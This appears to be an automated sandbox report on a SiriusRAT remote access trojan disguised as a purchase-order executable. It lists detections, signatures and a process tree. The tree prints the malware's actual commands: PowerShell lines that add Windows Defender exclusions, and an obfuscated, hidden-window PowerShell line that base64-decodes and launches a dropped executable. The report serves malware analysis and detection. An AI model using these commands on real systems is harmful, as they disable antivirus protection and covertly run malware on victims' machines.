Analysis
- max time kernel
298s - max time network
304s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 12:56
General
- Target NEW PO & SAMPLE DETAILS.exe
- Size 2.7MB
- Sample260804-p6cslsfj71
- SHA256 13367ed6c45119783c7eccc3db9b7a9095a4d662d9f5e7bc1ae1d195958ab1e2
Malware Config
Signatures
- Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
- Detects SiriusRAT 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nvoqcj=$env:COMPUTERNAME;$jqcu25=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$nvoqcj=$env:COMPUTERNAME;$a0ebce=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFF5dlJxek9jTlYuZXhl')));$nvoqcj=$env:COMPUTERNAME;& $jqcu25 -FilePath $a0ebce"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exeC:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe3⤵
- Executes dropped EXE
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ytvv0zk3.h4i.ps1
QyvRqzOcNV.exe
memory/720-16-0x0000000140000000-0x0000000140558000-memory.dmp
memory/2660-8-0x0000020EDB630000-0x0000020EDB8CA000-memory.dmp
memory/2660-5-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2660-6-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2660-7-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2660-1-0x00007FFEB781F000-0x00007FFEB7820000-memory.dmp
memory/2660-9-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2660-4-0x0000020ED96B0000-0x0000020ED96C4000-memory.dmp
memory/2660-3-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2660-2-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2660-0-0x0000020EBEF30000-0x0000020EBF1F2000-memory.dmp
memory/2660-25-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2888-32-0x0000010A0DF30000-0x0000010A0DF44000-memory.dmp
memory/3252-18-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-27-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-20-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-21-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-22-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-23-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-24-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-17-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-26-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-19-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-15-0x0000025AB6420000-0x0000025AB6442000-memory.dmp
memory/3252-12-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-11-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-35-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/3252-10-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/4452-43-0x000001D1AE6A0000-0x000001D1AE6BE000-memory.dmp
memory/4452-44-0x000001D1AE8F0000-0x000001D1AE9A2000-memory.dmp
memory/4452-45-0x000001D1AE6C0000-0x000001D1AE6CA000-memory.dmp